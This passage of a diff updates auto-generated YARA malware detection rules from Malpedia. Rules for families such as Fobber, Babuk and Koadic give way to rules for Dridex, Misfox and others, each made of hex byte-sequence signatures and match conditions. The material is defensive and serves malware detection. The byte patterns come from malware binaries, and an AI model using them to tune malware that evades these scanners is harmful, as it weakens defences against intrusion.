 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ab54349a-7d99-57ef-92f9-d6c817ce7b6a"
+		id = "59032243-71bc-5ccf-a304-ec07259d2d04"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fobber_auto.yar#L1-L175"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.onhat_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "16740b1e84557358ab17bd4ccf852daa4c4e1c0339646d5e9060d6d119fab8ab"
+		logic_hash = "0a14e4700b595808dab4fc1d09b95f2e90fdba52a26f4d889c5bc554e4997af3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161818,40 +168799,34 @@ rule MALPEDIA_Win_Fobber_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89e5 51 8b4510 8b5508 8b4d0c 3002 c0c803 }
-		$sequence_1 = { 89e5 6a00 ff750c ff7508 e8???????? }
-		$sequence_2 = { 89e5 31c0 50 50 ff750c ff7508 50 }
-		$sequence_3 = { 57 51 8b7d08 30c0 31c9 f7d1 fc }
-		$sequence_4 = { e303 4f 89f8 5f 59 }
-		$sequence_5 = { 8b750c 8b4d10 39f7 760e 8d0431 39f8 7607 }
-		$sequence_6 = { 660fc146f9 6685c0 7515 0fb646f8 50 0fb746f6 }
-		$sequence_7 = { 55 89e5 6800800000 6a00 }
-		$sequence_8 = { 750f 0fb703 83f861 0f8301fe0000 }
-		$sequence_9 = { 57 33714b 8aa07b74cafc 16 aa 5a }
-		$sequence_10 = { 7527 e8???????? 83c020 3bf0 0f8434510100 e8???????? }
-		$sequence_11 = { 000f 843d???????? 328801008bff 55 8bec ff7514 6a00 }
-		$sequence_12 = { c00f84 40 17 0100 8b4d08 83600400 }
-		$sequence_13 = { 7706 6205???????? 294a75 f2149c 7674 }
-		$sequence_14 = { e8???????? 85f6 0f84fd610100 8b45d4 }
-		$sequence_15 = { 7508 e8???????? 59 59 5d c3 53 }
+		$sequence_0 = { 68???????? e8???????? 83c404 b806000080 5f 5e 5d }
+		$sequence_1 = { c684242c01000048 889c242d010000 c684242e01000045 c684242f0100004e }
+		$sequence_2 = { 8d7c2414 bee8030000 f3ab 8b8c2424010000 b8d34d6210 f7e1 c1ea06 }
+		$sequence_3 = { 88542408 f3ab 8b8c240c200000 88542406 66ab aa 8d842410200000 }
+		$sequence_4 = { 57 32d2 b9ff070000 33c0 8d7c2409 88542408 }
+		$sequence_5 = { 53 ff15???????? 8bf0 3bf3 7526 }
+		$sequence_6 = { 33c9 8a4c2432 8ac7 52 50 c1eb18 51 }
+		$sequence_7 = { 8d7710 6a00 8d842424010000 56 50 51 e8???????? }
+		$sequence_8 = { 8d54241c 55 55 52 68???????? 55 55 }
+		$sequence_9 = { c644242852 c644242955 885c242a c644242b41 c644242c44 c644242d44 c644242e52 }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Darkvnc_Auto : FILE
+rule MALPEDIA_Win_Dridex_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c383bb27-eefd-56e4-99f1-129a7cd0febf"
+		id = "fd4d4346-8d83-5613-888d-88569f1753b9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkvnc_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dridex_auto.yar#L1-L1066"
 		license_url = "N/A"
-		logic_hash = "59a6ef1d2e391f7957c06b061626ceb22bd1c35faf4777593f7b9c101df055cb"
+		logic_hash = "7f3078493ad3e901d3230994f499bb2b8f95c8666fe5cee6d8f3649c308a4e21"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -161863,32 +168838,151 @@ rule MALPEDIA_Win_Darkvnc_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c1e904 4103ce 446bc11f 48634b28 418bd0 c1ea08 881401 }
-		$sequence_1 = { 488b4c2438 894148 c744244001000000 4c8b8c24a0000000 4c8b842498000000 8b942490000000 33c9 }
-		$sequence_2 = { 418bca d1e9 03c1 8a4d0c 99 41f7fa d3e0 }
-		$sequence_3 = { 41f7fb d2e0 41880432 49ffc2 4c3bd3 7ce5 488b5c2408 }
-		$sequence_4 = { 668944244c 488d4c2440 e8???????? 668944244e c744244400000000 eb0a 8b442444 }
-		$sequence_5 = { 418bc8 44888438d8000000 458d5801 44019fd8000100 418bc5 410fafc4 44899c24c0040000 }
-		$sequence_6 = { ff15???????? 33d2 b903000000 f7f1 89442428 c744242400000000 ba09000000 }
-		$sequence_7 = { eb0c 498b4770 4b8d0c76 4c8d2cc8 4d85ed 750a bb27030980 }
-		$sequence_8 = { 8d5808 e9???????? 488b4c2460 488d85b0000000 4533c0 4889442420 4d8bcf }
-		$sequence_9 = { 4d85e4 7416 498bcf e8???????? 0c80 488bcd 8ad0 }
+		$sequence_0 = { ffd6 85c0 7512 e8???????? eb03 }
+		$sequence_1 = { e8???????? b910270000 e8???????? e8???????? }
+		$sequence_2 = { c605????????01 c3 c605????????00 c3 }
+		$sequence_3 = { 83f8ff 7505 e8???????? 3d34270000 }
+		$sequence_4 = { ffd0 85c0 751f e8???????? }
+		$sequence_5 = { ffd0 e8???????? 85c0 74de }
+		$sequence_6 = { 53 53 53 6a01 53 ffd0 }
+		$sequence_7 = { eb0a e8???????? eb03 6a7f 58 }
+		$sequence_8 = { c3 31c0 c3 50 }
+		$sequence_9 = { 7406 42 803a00 75fa }
+		$sequence_10 = { 7403 56 ffd0 33f6 }
+		$sequence_11 = { e8???????? 85c0 7407 56 ffd0 }
+		$sequence_12 = { 807c241400 7409 8d4c2410 e8???????? }
+		$sequence_13 = { e8???????? 6880000000 53 53 }
+		$sequence_14 = { e8???????? 85c0 7408 6a00 ffd0 }
+		$sequence_15 = { e8???????? 6a00 8d4e1c e8???????? }
+		$sequence_16 = { e8???????? eb0a b9d0070000 e8???????? }
+		$sequence_17 = { ffd0 5b c3 33c0 }
+		$sequence_18 = { c70350000000 eb0d 3da665f63e 7506 }
+		$sequence_19 = { e8???????? 85c0 7404 6a7f }
+		$sequence_20 = { 85c0 7407 685a040000 ffd0 }
+		$sequence_21 = { e8???????? 3db20d7897 7508 c70350000000 }
+		$sequence_22 = { 8bc8 e8???????? 6a70 8bc8 e8???????? 6a73 8bc8 }
+		$sequence_23 = { 50 e8???????? 8938 8b35???????? }
+		$sequence_24 = { 6a00 6a00 8d4dfc 51 6aff }
+		$sequence_25 = { e8???????? 6a74 8bc8 e8???????? 6a74 8bc8 }
+		$sequence_26 = { 6810270000 50 e8???????? 83c410 }
+		$sequence_27 = { 7411 c7461003000000 e8???????? 894614 }
+		$sequence_28 = { 85c0 7415 6a01 6a00 6a00 }
+		$sequence_29 = { 6a00 8bcf e8???????? 50 ffd6 }
+		$sequence_30 = { eb08 83ca20 eb03 83ca10 }
+		$sequence_31 = { 46 e8???????? c1e802 3bf0 }
+		$sequence_32 = { e8???????? e9???????? 807c245000 740a }
+		$sequence_33 = { e8???????? 8d4dc4 e8???????? 5e }
+		$sequence_34 = { 6802100000 68ffff0000 ff36 ffd0 }
+		$sequence_35 = { ffd0 85c0 7510 e8???????? }
+		$sequence_36 = { c20400 55 8bec 83ec34 8365fc00 }
+		$sequence_37 = { 89442404 eb00 8b442404 89c1 89ca }
+		$sequence_38 = { 7414 31c0 89c1 8b442424 88c2 8854240f }
+		$sequence_39 = { 8b442428 6689c1 66894c2458 66894c245a }
+		$sequence_40 = { 8a442427 a801 7534 eb00 31c0 89c1 }
+		$sequence_41 = { 6a64 59 e8???????? 33c9 e8???????? }
+		$sequence_42 = { 51 6801100000 68ffff0000 ff36 }
+		$sequence_43 = { 7406 6a02 ff36 ffd0 }
+		$sequence_44 = { 740d 40 83c104 3d00100000 }
+		$sequence_45 = { 885c2407 89442408 7598 8a442407 a801 }
+		$sequence_46 = { c7461002000000 eb0f c7461003000000 e8???????? }
+		$sequence_47 = { 890424 894c2404 75dd 8b0424 }
+		$sequence_48 = { e8???????? 50 56 8bcb e8???????? 50 e8???????? }
+		$sequence_49 = { 8954242c 8b44242c 89c1 89ca }
+		$sequence_50 = { eb0a b988130000 e8???????? 33d2 }
+		$sequence_51 = { 740a 488d4c2448 e8???????? 488d4c2430 e8???????? e9???????? }
+		$sequence_52 = { e8???????? 84c0 740f 6a05 }
+		$sequence_53 = { e8???????? 8be8 85ed 7458 }
+		$sequence_54 = { e8???????? 6880000000 55 55 }
+		$sequence_55 = { ff7508 ffd0 33c0 40 5d }
+		$sequence_56 = { c3 55 8bec 837d0800 7422 }
+		$sequence_57 = { 8d4de0 51 68???????? ffd0 }
+		$sequence_58 = { 6a73 e8???????? 833f00 7523 }
+		$sequence_59 = { 6a00 6a02 ffd0 50 }
+		$sequence_60 = { e8???????? 8bc8 a1???????? ff30 }
+		$sequence_61 = { 5e c3 31c0 89c2 }
+		$sequence_62 = { e8???????? 50 ffd7 85c0 7512 }
+		$sequence_63 = { eb0c e8???????? 8bf0 eb03 6a7f 5e }
+		$sequence_64 = { 8b45cc 31c9 8b55d0 39c2 }
+		$sequence_65 = { 8038e9 89c1 8945d0 894dcc }
+		$sequence_66 = { e8???????? 50 53 8d4dd0 e8???????? 50 }
+		$sequence_67 = { 8b45e8 05ffff0000 25ffff0000 83c001 }
+		$sequence_68 = { 8b4de8 81c1ffff0000 81e1ffff0000 83c101 }
+		$sequence_69 = { 50 8b442408 8038e9 890424 7517 8b0424 8b4801 }
+		$sequence_70 = { 8b704c 2b7134 891424 89742404 894c2418 e8???????? }
+		$sequence_71 = { 8b55bc 8955c4 776a 31c0 8b4dac 8b510c }
+		$sequence_72 = { 807c0805e9 891424 74e9 8b0424 }
+		$sequence_73 = { 8b450c 8b4d08 8b503c 6689d6 6683fe00 89c7 8945f0 }
+		$sequence_74 = { 83c001 8b4de8 01c1 894de0 }
+		$sequence_75 = { 7517 8b0424 8b4801 89c2 01ca 83c205 }
+		$sequence_76 = { 8b513c 6689d6 6683fe00 89cf 8945f0 894dec }
+		$sequence_77 = { 01ca 83c205 807c0805e9 891424 }
+		$sequence_78 = { 89c7 8945f0 894dec 8955e8 897de4 }
+		$sequence_79 = { 5b 5e 5d c3 55 89e5 6a00 }
+		$sequence_80 = { 83c001 8b4df8 01c1 894df0 8b45f0 }
+		$sequence_81 = { 83c454 5b 5e 5f 5d c3 55 }
+		$sequence_82 = { 894df0 8b45f0 83c40c 5e }
+		$sequence_83 = { e9???????? 8b45e0 83c438 5f }
+		$sequence_84 = { 8945f8 894df4 8975f0 7418 8b45f4 05ffff0000 }
+		$sequence_85 = { 25ffff0000 83c001 8b4da8 01c1 }
+		$sequence_86 = { 8945c4 894dc0 885dbf 8975b8 }
+		$sequence_87 = { c3 55 89e5 57 56 53 83ec54 }
+		$sequence_88 = { 5b 5d c3 8b45d0 8b4dd4 668b55d8 31f6 }
+		$sequence_89 = { 8b45e0 83c45c 5f 5b 5e 5d }
+		$sequence_90 = { 53 56 83ec38 8b450c 8b4d08 }
+		$sequence_91 = { c7424800b00400 8b7c2418 c787cc00000000000000 c787c800000000000000 }
+		$sequence_92 = { 8955cc 74bc 8b45cc 83c454 5b 5e }
+		$sequence_93 = { 6a00 e8???????? 83c408 c3 6a00 68???????? }
+		$sequence_94 = { 8d442448 b91c000000 8b542438 891424 89442404 c74424081c000000 894c2434 }
+		$sequence_95 = { 893c24 89442404 c744240804000000 8954240c 89ac248c000000 898c2488000000 }
+		$sequence_96 = { 8945c8 75e4 83c448 5e 5f 5b 5d }
+		$sequence_97 = { 53 83ec74 8b450c 8b4d08 31d2 8b713c }
+		$sequence_98 = { 0f85dafeffff 8b45e4 83c474 5b }
+		$sequence_99 = { 55 89e5 56 57 53 83ec70 }
+		$sequence_100 = { 53 81ecb0000000 8b4508 8d4dd8 c745d800000000 }
+		$sequence_101 = { 5b 5d c3 8b45f0 8b0c8504406e00 8b55f8 39d1 }
+		$sequence_102 = { 8b0c8504406e00 8b55f8 39d1 8945ec 894de8 7212 }
+		$sequence_103 = { 83f900 89442464 0f84f2010000 b801000000 8b4c2468 8b91a4000000 }
+		$sequence_104 = { 83c470 5b 5f 5e 5d c3 }
+		$sequence_105 = { 8b45e0 83c438 5e 5b }
+		$sequence_106 = { 57 83ec20 8b4508 890424 }
+		$sequence_107 = { 890424 e8???????? 31c0 83c420 5f }
+		$sequence_108 = { c7424800c00400 8b7de4 c787cc00000000000000 c787c800000000000000 }
+		$sequence_109 = { 897dd8 8b45d8 83c444 5b 5e 5f }
+		$sequence_110 = { e8???????? 8d0d44306e00 31d2 8b75f8 89462c }
+		$sequence_111 = { 894620 890c24 c744240400000000 8955e0 e8???????? 8d0dd8306e00 890424 }
+		$sequence_112 = { 8d155e306e00 83ec04 891424 8945e8 894de4 }
+		$sequence_113 = { 8b55f4 8b75ec 89723c c7424004000000 c742442c0c0200 c7424800b00400 }
+		$sequence_114 = { 55 89e5 53 56 57 83ec38 8b450c }
+		$sequence_115 = { c742442c0c0200 c7424800b00400 8b7de4 c787cc00000000000000 }
+		$sequence_116 = { 8d0dbc306e00 890424 894c2404 e8???????? 8d0d44306e00 }
+		$sequence_117 = { 74bc 8b45cc 83c454 5f 5b 5e }
+		$sequence_118 = { 0f84e2feffff e9???????? 8b45e0 83c45c 5e 5f 5b }
+		$sequence_119 = { 56 53 57 83ec44 8b4508 }
+		$sequence_120 = { 8955e0 e8???????? 8d0dd8302700 890424 }
+		$sequence_121 = { 89462c 890c24 c744240400000000 8955d8 e8???????? 8d0d04318400 }
+		$sequence_122 = { c7424004000000 c7424499040200 c7424800c00400 8b7de4 }
+		$sequence_123 = { c3 55 89e5 83ec10 8b4508 8d0d44302500 }
+		$sequence_124 = { 56 83ec44 8b4508 8d0d30302500 31d2 890c24 }
+		$sequence_125 = { 31c0 8d0d5a232f00 8b55c8 39ca 8945cc 0f84f9000000 }
+		$sequence_126 = { 890c24 c744240400000000 8955e4 e8???????? 8d0dc9302f00 890424 894c2404 }
+		$sequence_127 = { 8d0d44302f00 31d2 8b75f8 894608 890c24 c744240400000000 }
+		$sequence_128 = { 8d0d30302700 31d2 890c24 c744240400000000 8945f0 8955ec e8???????? }
 
 	condition:
-		7 of them and filesize <606208
+		7 of them and filesize <1040384
 }
-rule MALPEDIA_Elf_Babuk_Auto : FILE
+rule MALPEDIA_Win_Newsreels_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0f03a128-b2bf-587f-bb2c-939b9b8a07cd"
+		id = "d0a51f50-02b3-5e2e-87a4-1bcf6809c906"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.babuk_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.newsreels_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "1ffac28a8690c44fcc8b3792df7481d8deebcbe27a55524336d71b5e562fe261"
+		logic_hash = "fc1a2dbb3b05d6d5724530e791c74623a98e89ee20e6cc268616876a0ad255a8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161902,32 +168996,32 @@ rule MALPEDIA_Elf_Babuk_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f7e2 89942488020000 898424a4000000 89e8 f7e1 89942484020000 898424a0000000 }
-		$sequence_1 = { 895c2404 e8???????? eba0 0fb6c1 3d88000000 0f8374020000 c1e007 }
-		$sequence_2 = { e8???????? 31c0 eb08 898c8490000000 40 83f806 7d5a }
-		$sequence_3 = { 8b9c2490000000 8d2c18 8d4c0314 8b942400010000 8b8424fc000000 8b9c24f8000000 39c1 }
-		$sequence_4 = { e8???????? e8???????? 8b442458 8b4018 c680b500000002 8b44247c 8b4c2478 }
-		$sequence_5 = { e8???????? 0fb644240c 84c0 7539 90 658b0500000000 8b80fcffffff }
-		$sequence_6 = { 8b492c 8b5c2414 01d3 895904 8b4818 8b492c }
-		$sequence_7 = { e8???????? e8???????? 658b0500000000 8b80fcffffff 8b4018 8b0c24 894824 }
-		$sequence_8 = { c1fd1f 21dd 8d3c2e 89bc24f8000000 8b6c2450 e9???????? 39f5 }
-		$sequence_9 = { 89442408 e8???????? 8b44240c 8b4c2410 890d???????? 890d???????? 8b15???????? }
+		$sequence_0 = { 7516 39ac247c030000 7d37 5e 5d 83c8ff }
+		$sequence_1 = { 53 53 8d8424e0030000 68???????? 50 66899c24a0000000 c784249c00000001010000 }
+		$sequence_2 = { ff15???????? e9???????? 6a4d 6a08 68???????? e8???????? 8b35???????? }
+		$sequence_3 = { 6a4d f2ae f7d1 49 }
+		$sequence_4 = { 8d542460 8d4c2454 83c448 8b02 8b11 3bc2 }
+		$sequence_5 = { 83c408 85db 750a 5e 5d }
+		$sequence_6 = { 33f6 e8???????? 8bd8 83c408 85db 7516 }
+		$sequence_7 = { 51 e8???????? 8b742430 8b542431 8b442432 81e6ff000000 8b4c2433 }
+		$sequence_8 = { 8b9c24e0110000 8808 8b15???????? 8bcb 8bc1 }
+		$sequence_9 = { 51 6a09 6a08 52 66894808 e8???????? }
 
 	condition:
-		7 of them and filesize <4186112
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Ziyangrat_Auto : FILE
+rule MALPEDIA_Win_Tiop_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "61b87837-dc98-50eb-8916-bc6cbc20d03f"
+		id = "a48d1e15-9fc1-5bab-9fa2-c3c7b063ec8e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ziyangrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ziyangrat_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiop"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tiop_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "63664fb49a7b130cd77da76446f0977d6b37fb6657ee0279b7de100f4571b771"
+		logic_hash = "62d0ea75fcf8689409f77f7c307d37bf3637d8a3da71cff9b0be16f18afd1eb3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161941,34 +169035,34 @@ rule MALPEDIA_Win_Ziyangrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89442405 89442409 668944240d 8844240f 8b11 8d442410 }
-		$sequence_1 = { c3 8b9c24a4000000 68???????? 53 8d4c2444 }
-		$sequence_2 = { c68424e200000069 888424e3000000 889c24e4000000 888c24eb000000 c68424ec00000047 c68424ed00000020 }
-		$sequence_3 = { b93f000000 33c0 8dbc2441010000 889c2440010000 b265 f3ab }
-		$sequence_4 = { 8dbd48f7ffff 83c9ff 33c0 f2ae f7d1 83c1ff 51 }
-		$sequence_5 = { 889c2410020000 89442461 889c2410070000 6689442465 889c2410030000 }
-		$sequence_6 = { 8b4c2410 56 50 51 e8???????? 68???????? 8d542420 }
-		$sequence_7 = { 48 0d0000ffff 40 6689442408 25ffff0000 8d1440 }
-		$sequence_8 = { 50 e8???????? 83c40c 85c0 752a e8???????? }
-		$sequence_9 = { 8b7c240c 8b04bd10894000 8d1cbd10894000 3d00100000 0f84c8000000 8b04bd20094100 56 }
+		$sequence_0 = { 81ec08010000 55 56 57 b940000000 33c0 8d7c2411 }
+		$sequence_1 = { ff15???????? 50 ff15???????? 8b3d???????? 8bf0 ffd7 50 }
+		$sequence_2 = { 57 33ed b94f000000 33c0 8d7c240c 896c2408 892d???????? }
+		$sequence_3 = { ff15???????? 50 8b44241c 53 50 ff5510 8b4c241c }
+		$sequence_4 = { 8b7c2410 56 8b35???????? 894704 ffd6 55 ffd6 }
+		$sequence_5 = { f3a4 8b442414 8b7500 8b4c2410 2bf0 03d0 897500 }
+		$sequence_6 = { eb2e 50 ffd3 8d7c0002 8bc7 83c003 24fc }
+		$sequence_7 = { 6a01 6a00 ffd7 8b1d???????? 8bf0 56 89742410 }
+		$sequence_8 = { 83c9ff 33c0 83c404 f2ae f7d1 6a10 49 }
+		$sequence_9 = { 8b542418 8b4c2420 8b3d???????? 8944240c 8b44242c 89542408 8b542424 }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <712704
 }
-rule MALPEDIA_Win_Rm3_Auto : FILE
+rule MALPEDIA_Win_Misfox_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7719069f-32fe-5972-8438-aed4e36844e7"
+		id = "927dd41c-de40-5a62-bc60-3c93a08d5568"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rm3_auto.yar#L1-L378"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.misfox"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.misfox_auto.yar#L1-L171"
 		license_url = "N/A"
-		logic_hash = "108e288ac75d378107658478aa6294381528e48e962e4f140c133bb5541af046"
+		logic_hash = "73f8e08e5f0adb2064a67b9bd6b00ebff7c94d43d789ff956746926b45ea1124"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -161980,62 +169074,38 @@ rule MALPEDIA_Win_Rm3_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d7c13ff 4a f7d2 23fa 3bf8 7609 }
-		$sequence_1 = { 8b4138 8b5608 8d5410ff 48 f7d0 }
-		$sequence_2 = { 8b45f8 83c628 ff4dfc 85c0 }
-		$sequence_3 = { 8931 8b7004 897104 8b4808 ff7004 }
-		$sequence_4 = { 034c240c 8b00 51 03c2 50 e8???????? }
-		$sequence_5 = { 3bf8 7609 8b413c 8d5418ff eb0a }
-		$sequence_6 = { 8b460c 03c2 394508 7303 8975f8 8b45f8 }
-		$sequence_7 = { 8b5e10 8d4438ff 4f f7d7 23c7 8d7c13ff 4a }
-		$sequence_8 = { 41 ff4508 ff4d0c 885405fc }
-		$sequence_9 = { 57 8bc3 8d9568ffffff e8???????? 8b849d64ffffff }
-		$sequence_10 = { e8???????? 8b5508 57 8bc3 8d8d58feffff e8???????? }
-		$sequence_11 = { 8b750c 50 8db4b558feffff 894510 }
-		$sequence_12 = { 8bf0 2b7508 f7de 1bf6 83e60b }
-		$sequence_13 = { e8???????? 8bd8 85db 7420 8d45fc }
-		$sequence_14 = { e8???????? 2bf3 89750c 0f88b3000000 8d3c1e 8dbcbd58feffff }
-		$sequence_15 = { 744b 8975fc 6a18 5e }
-		$sequence_16 = { 33d2 4533c0 410fc9 48f7b42488000000 8b15???????? }
-		$sequence_17 = { 488bf3 488bce e8???????? 4885c0 488bd8 7415 }
-		$sequence_18 = { 4155 4156 4157 4883ec30 4c8b05???????? 49b91ddd6c4f91f44525 }
-		$sequence_19 = { 41be18000000 488b15???????? 488b4270 488bc8 48c1e90c 4833c1 488bc8 }
-		$sequence_20 = { 57 4154 4155 4156 4157 4883ec20 4c8b05???????? }
-		$sequence_21 = { 488bc1 48c1e81b 4833c1 33c9 480fafc3 }
-		$sequence_22 = { ff15???????? 85c0 7445 488d4c2468 ff15???????? ff15???????? }
-		$sequence_23 = { 488d4c2440 4c8bce 4c8bc5 498bd4 }
-		$sequence_24 = { 899568ffffff 89b564ffffff 889d63ffffff 7570 31c0 89855cffffff eb16 }
-		$sequence_25 = { 8d0d84308702 31d2 8b75f0 89462c 890c24 }
-		$sequence_26 = { 885801 39d7 897db8 8975b4 75d7 8d45d4 }
-		$sequence_27 = { a1???????? 6a00 6a00 6a00 6a00 68???????? ffd0 }
-		$sequence_28 = { ffd0 8d0dd1318702 890424 894c2404 e8???????? 83f800 }
-		$sequence_29 = { 52 8bb5e0fbffff 56 8985d0fbffff 8995ccfbffff 898dc8fbffff ffd7 }
-		$sequence_30 = { 8945d0 8b45d0 8b4dd4 8b55ec 01ca 891424 }
-		$sequence_31 = { 897dec 8955e8 8975e4 ffd3 83ec10 890424 }
-		$sequence_32 = { 53 57 56 83ec20 8b450c 8b4d08 31d2 }
-		$sequence_33 = { 890c24 c744240400000000 8955dc e8???????? 8d0d77318702 890424 }
-		$sequence_34 = { 8b7834 8b5f3c 8945f0 89f8 01d8 813c1f50450000 }
-		$sequence_35 = { 8bbd64fdffff 897e08 8b9d68fdffff 891e }
-		$sequence_36 = { c7460cfe308702 c74604???????? 8b35???????? 8985e0fdffff 898ddcfdffff 8995d8fdffff }
-		$sequence_37 = { 898dfcfeffff e8???????? 890424 8b853cffffff 89442404 }
-		$sequence_38 = { 89e2 894a04 c70204010000 8b15???????? 8985e8fdffff 898de4fdffff }
-		$sequence_39 = { 8b5924 89855cffffff 89d8 c1e81e 83e001 }
+		$sequence_0 = { eb6a 56 e8???????? 59 8365fc00 8b049d50870110 }
+		$sequence_1 = { 3de4000000 7309 8b04c598230110 5d c3 33c0 5d }
+		$sequence_2 = { c705????????01000000 6a04 58 6bc000 8b4d08 8988ac830110 }
+		$sequence_3 = { 50 e8???????? 83c40c 6b45e430 8945e0 8d8020770110 8945e4 }
+		$sequence_4 = { c745e4ec900110 a1???????? 33db 43 895de0 50 }
+		$sequence_5 = { ff37 c745b800000000 53 6a00 51 }
+		$sequence_6 = { 8b45b8 52 c70300000000 40 ff37 8945b8 }
+		$sequence_7 = { 0f8515010000 51 ba00020000 c744244800080000 8d4c2434 89442444 }
+		$sequence_8 = { 48c7c101000080 c7450b00020000 4889442420 44897507 ff15???????? }
+		$sequence_9 = { 458bc5 488d9530060000 4803d0 488b442448 488d0dc6da0000 }
+		$sequence_10 = { 488b4c2470 48894b10 48895318 e9???????? 488d5720 }
+		$sequence_11 = { 488985a0040000 4c8b95f8040000 488d052ce00000 4c8bd9 488d4c2430 }
+		$sequence_12 = { f0ff0b 7516 488d0564520100 488b4c2430 483bc8 }
+		$sequence_13 = { 488d15fdbc0000 483305???????? 488bcb 488905???????? ff15???????? 488d15f7bc0000 }
+		$sequence_14 = { ff15???????? 85c0 7547 488b0f 488d15dd6b0100 }
+		$sequence_15 = { 753e 0fb65530 0fb64531 66410fafd5 }
 
 	condition:
-		7 of them and filesize <221184
+		7 of them and filesize <266240
 }
-rule MALPEDIA_Win_Koadic_Auto : FILE
+rule MALPEDIA_Win_Unidentified_103_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e207fda4-6d66-54cd-bdbd-2bc35fe49343"
+		id = "16a9604f-a791-56b5-96cf-005a08b625a2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.koadic_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_103"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_103_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "4723d27185eb97d6e28808abd0dca69a0777b4b3cb3951837b42f0c81d537f3d"
+		logic_hash = "ea0101ff935636b4e103b28ee875e3c3a8b80a54f2863e597f7dff9a335e50db"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162049,33 +169119,33 @@ rule MALPEDIA_Win_Koadic_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f84b4020000 53 56 57 8b7c2424 bb01000000 83ffff }
-		$sequence_1 = { 035c2408 53 58 e8???????? a3???????? 8b5c2414 035c2408 }
-		$sequence_2 = { 83fb01 0f8da9000000 8b542404 ff35???????? e8???????? 8b15???????? }
-		$sequence_3 = { 50 8d4c2420 51 e8???????? e9???????? 6a08 }
-		$sequence_4 = { 3b1c24 7527 8b15???????? ff35???????? e8???????? 8d05c8334100 50 }
-		$sequence_5 = { 72f1 eb07 8b34c5c4124100 8bc6 8d5001 }
